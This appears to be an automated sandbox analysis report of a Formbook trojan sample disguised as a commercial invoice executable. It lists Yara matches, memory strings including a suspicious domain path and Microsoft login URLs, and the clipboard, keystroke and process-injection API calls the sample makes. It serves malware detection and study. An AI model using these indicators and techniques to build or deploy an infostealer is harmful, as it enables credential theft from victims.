"-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Source: OhOEhutKIH.exe, 00000006.00000002.3924811899.0000000005159000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.ninesquare.games
Source: OhOEhutKIH.exe, 00000006.00000002.3924811899.0000000005159000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.ninesquare.games/5dij/
Source: openfiles.exe, 00000005.00000003.2595181809.000000000741E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: openfiles.exe, 00000005.00000003.2595181809.000000000741E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: openfiles.exe, 00000005.00000003.2595181809.000000000741E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: openfiles.exe, 00000005.00000003.2595181809.000000000741E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: openfiles.exe, 00000005.00000003.2595181809.000000000741E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: openfiles.exe, 00000005.00000003.2595181809.000000000741E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: openfiles.exe, 00000005.00000003.2595181809.000000000741E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: openfiles.exe, 00000005.00000002.3922477816.0000000000575000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: openfiles.exe, 00000005.00000002.3922477816.0000000000575000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: openfiles.exe, 00000005.00000002.3922477816.0000000000575000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2
Source: openfiles.exe, 00000005.00000002.3922477816.0000000000575000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: openfiles.exe, 00000005.00000002.3922477816.0000000000575000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: openfiles.exe, 00000005.00000002.3922477816.0000000000575000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: openfiles.exe, 00000005.00000002.3922477816.0000000000575000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: openfiles.exe, 00000005.00000003.2589685634.00000000073FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: openfiles.exe, 00000005.00000003.2595181809.000000000741E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: openfiles.exe, 00000005.00000002.3923928897.00000000052DA000.00000004.10000000.00040000.00000000.sdmp, openfiles.exe, 00000005.00000002.3925508726.0000000007170000.00000004.00000800.00020000.00000000.sdmp, OhOEhutKIH.exe, 00000006.00000002.3923414877.000000000354A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: openfiles.exe, 00000005.00000003.2595181809.000000000741E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe

Code function: 0_2_0046C5D0 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,

0_2_0046C5D0

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe

Code function: 0_2_00459FFF OpenClipboard,EmptyClipboard,CloseClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_00459FFF

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe

Code function: 0_2_0046C5D0 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,

0_2_0046C5D0

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe

Code function: 0_2_00456354 GetCursorPos,ScreenToClient,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetWindowLongW,

0_2_00456354

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe

Code function: 0_2_0047C08E SendMessageW,DefDlgProcW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,GetWindowLongW,SendMessageW,SendMessageW,SendMessageW,_wcsncpy,SendMessageW,SendMessageW,SendMessageW,InvalidateRect,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

0_2_0047C08E

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.3922241785.0000000000120000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3924811899.00000000050E0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3923277416.0000000000BE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2399645826.0000000005CA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2398476195.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3923173605.00000000006E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3923233381.0000000002880000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2399183126.0000000003DE0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.3922241785.0000000000120000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.3924811899.00000000050E0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.3923277416.0000000000BE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.2399645826.0000000005CA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.2398476195.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.3923173605.00000000006E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.3923233381.0000000002880000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.2399183126.0000000003DE0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0042C443 NtClose,	2_2_0042C443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72B60 NtClose,LdrInitializeThunk,	2_2_03A72B60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72DF0 NtQuerySystemInformation,LdrInitializeThunk,	2_2_03A72DF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A735C0 NtCreateMutant,LdrInitializeThunk,	2_2_03A735C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A74340 NtSetContextThread,	2_2_03A74340
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A74650 NtSuspendThread,	2_2_03A74650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72BA0 NtEnumerateValueKey,	2_2_03A72BA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72B80 NtQueryInformationFile,	2_2_03A72B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72BE0 NtQueryValueKey,	2_2_03A72BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72BF0 NtAllocateVirtualMemory,	2_2_03A72BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72AB0 NtWaitForSingleObject,	2_2_03A72AB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72AF0 NtWriteFile,	2_2_03A72AF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72AD0 NtReadFile,	2_2_03A72AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72FA0 NtQuerySection,	2_2_03A72FA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72FB0 NtResumeThread,	2_2_03A72FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72F90 NtProtectVirtualMemory,	2_2_03A72F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72FE0 NtCreateFile,	2_2_03A72FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72F30 NtCreateSection,	2_2_03A72F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72F60 NtCreateProcessEx,	2_2_03A72F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72EA0 NtAdjustPrivilegesToken,	2_2_03A72EA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72E80 NtReadVirtualMemory,	2_2_03A72E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72EE0 NtQueueApcThread,	2_2_03A72EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72E30 NtWriteVirtualMemory,	2_2_03A72E30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72DB0 NtEnumerateKey,	2_2_03A72DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72DD0 NtDelayExecution,	2_2_03A72DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72D30 NtUnmapViewOfSection,	2_2_03A72D30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72D00 NtSetInformationFile,	2_2_03A72D00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72D10 NtMapViewOfSection,	2_2_03A72D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72CA0 NtQueryInformationToken,	2_2_03A72CA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72CF0 NtOpenProcess,	2_2_03A72CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72CC0 NtQueryVirtualMemory,	2_2_03A72CC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72C00 NtQueryInformationProcess,	2_2_03A72C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72C60 NtCreateKey,	2_2_03A72C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72C70 NtFreeVirtualMemory,	2_2_03A72C70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A73090 NtSetValueKey,	2_2_03A73090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A73010 NtOpenDirectoryObject,	2_2_03A73010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A739B0 NtGetContextThread,	2_2_03A739B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A73D10 NtOpenProcessToken,	2_2_03A73D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A73D70 NtOpenThread,	2_2_03A73D70
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04484650 NtSuspendThread,LdrInitializeThunk,	5_2_04484650
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04484340 NtSetContextThread,LdrInitializeThunk,	5_2_04484340
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04482C60 NtCreateKey,LdrInitializeThunk,	5_2_04482C60
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04482C70 NtFreeVirtualMemory,LdrInitializeThunk,	5_2_04482C70
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04482CA0 NtQueryInformationToken,LdrInitializeThunk,	5_2_04482CA0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04482D10 NtMapViewOfSection,LdrInitializeThunk,	5_2_04482D10
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04482D30 NtUnmapViewOfSection,LdrInitializeThunk,	5_2_04482D30
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04482DD0 NtDelayExecution,LdrInitializeThunk,	5_2_04482DD0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04482DF0 NtQuerySystemInformation,LdrInitializeThunk,	5_2_04482DF0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04482EE0 NtQueueApcThread,LdrInitializeThunk,	5_2_04482EE0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04482E80 NtReadVirtualMemory,LdrInitializeThunk,	5_2_04482E80
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04482F30 NtCreateSection,LdrInitializeThunk,	5_2_04482F30
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04482FE0 NtCreateFile,LdrInitializeThunk,	5_2_04482FE0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04482FB0 NtResumeThread,LdrInitializeThunk,	5_2_04482FB0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04482AD0 NtReadFile,LdrInitializeThunk,	5_2_04482AD0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04482AF0 NtWriteFile,LdrInitializeThunk,	5_2_04482AF0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04482B60 NtClose,LdrInitializeThunk,	5_2_04482B60
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04482BE0 NtQueryValueKey,LdrInitializeThunk,	5_2_04482BE0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04482BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	5_2_04482BF0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04482BA0 NtEnumerateValueKey,LdrInitializeThunk,	5_2_04482BA0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_044835C0 NtCreateMutant,LdrInitializeThunk,	5_2_044835C0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_044839B0 NtGetContextThread,LdrInitializeThunk,	5_2_044839B0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04482C00 NtQueryInformationProcess,	5_2_04482C00
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04482CC0 NtQueryVirtualMemory,	5_2_04482CC0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04482CF0 NtOpenProcess,	5_2_04482CF0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04482D00 NtSetInformationFile,	5_2_04482D00
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04482DB0 NtEnumerateKey,	5_2_04482DB0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04482E30 NtWriteVirtualMemory,	5_2_04482E30
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04482EA0 NtAdjustPrivilegesToken,	5_2_04482EA0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04482F60 NtCreateProcessEx,	5_2_04482F60
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04482F90 NtProtectVirtualMemory,	5_2_04482F90
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04482FA0 NtQuerySection,	5_2_04482FA0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04482AB0 NtWaitForSingleObject,	5_2_04482AB0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04482B80 NtQueryInformationFile,	5_2_04482B80
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04483010 NtOpenDirectoryObject,	5_2_04483010
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04483090 NtSetValueKey,	5_2_04483090
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04483D70 NtOpenThread,	5_2_04483D70
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_04483D10 NtOpenProcessToken,	5_2_04483D10
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_00148C40 NtCreateFile,	5_2_00148C40
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_00148DA0 NtReadFile,	5_2_00148DA0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_00148E90 NtDeleteFile,	5_2_00148E90
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_00148F30 NtClose,	5_2_00148F30
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_001490A0 NtAllocateVirtualMemory,	5_2_001490A0

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe

Code function: 0_2_00434D50: GetFullPathNameW,__swprintf,_wcslen,_wcslen,_wcslen,CreateDirectoryW,CreateFileW,_memset,_wcslen,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,

0_2_00434D50

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe

Code function: 0_2_004461ED _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,_wcsncpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

0_2_004461ED

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe

Code function: 0_2_004364AA GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,

0_2_004364AA

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_00409A40	0_2_00409A40
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_00412038	0_2_00412038
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_00427161	0_2_00427161
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_0047E1FA	0_2_0047E1FA
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_004212BE	0_2_004212BE
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_00443390	0_2_00443390
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_00443391	0_2_00443391
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_0041A46B	0_2_0041A46B
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_0041240C	0_2_0041240C
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_00446566	0_2_00446566
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_004045E0	0_2_004045E0
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_0041D750	0_2_0041D750
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_004037E0	0_2_004037E0
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_00427859	0_2_00427859
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_00412818	0_2_00412818
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_0040F890	0_2_0040F890
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_0042397B	0_2_0042397B
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_00411B63	0_2_00411B63
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_0047CBF0	0_2_0047CBF0
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_0044EBBC	0_2_0044EBBC
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_00412C38	0_2_00412C38
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_0044ED9A	0_2_0044ED9A
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_00423EBF	0_2_00423EBF
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_00424F70	0_2_00424F70
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_0041AF0D	0_2_0041AF0D
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_03EB5E50	0_2_03EB5E50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004185E3	2_2_004185E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004100D3	2_2_004100D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040E149	2_2_0040E149
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040E153	2_2_0040E153
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00401130	2_2_00401130
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0042EA63	2_2_0042EA63
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004032A0	2_2_004032A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402451	2_2_00402451
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402460	2_2_00402460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402682	2_2_00402682
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402690	2_2_00402690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00408697	2_2_00408697
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040FEAB	2_2_0040FEAB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040FEB3	2_2_0040FEB3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004167D3	2_2_004167D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4E3F0	2_2_03A4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B003E6	2_2_03B003E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFA352	2_2_03AFA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC02C0	2_2_03AC02C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B001AA	2_2_03B001AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF81CC	2_2_03AF81CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A30100	2_2_03A30100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADA118	2_2_03ADA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC8158	2_2_03AC8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AD2000	2_2_03AD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3C7C0	2_2_03A3C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40770	2_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A64750	2_2_03A64750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5C6E0	2_2_03A5C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B00591	2_2_03B00591
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40535	2_2_03A40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AEE4F6	2_2_03AEE4F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE4420	2_2_03AE4420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF2446	2_2_03AF2446
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF6BD7	2_2_03AF6BD7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFAB40	2_2_03AFAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3EA80	2_2_03A3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A429A0	2_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B0A9A6	2_2_03B0A9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A56962	2_2_03A56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A268B8	2_2_03A268B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6E8F0	2_2_03A6E8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4A840	2_2_03A4A840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A42840	2_2_03A42840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ABEFA0	2_2_03ABEFA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4CFE0	2_2_03A4CFE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A32FC8	2_2_03A32FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A82F28	2_2_03A82F28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A60F30	2_2_03A60F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE2F30	2_2_03AE2F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB4F40	2_2_03AB4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A52E90	2_2_03A52E90
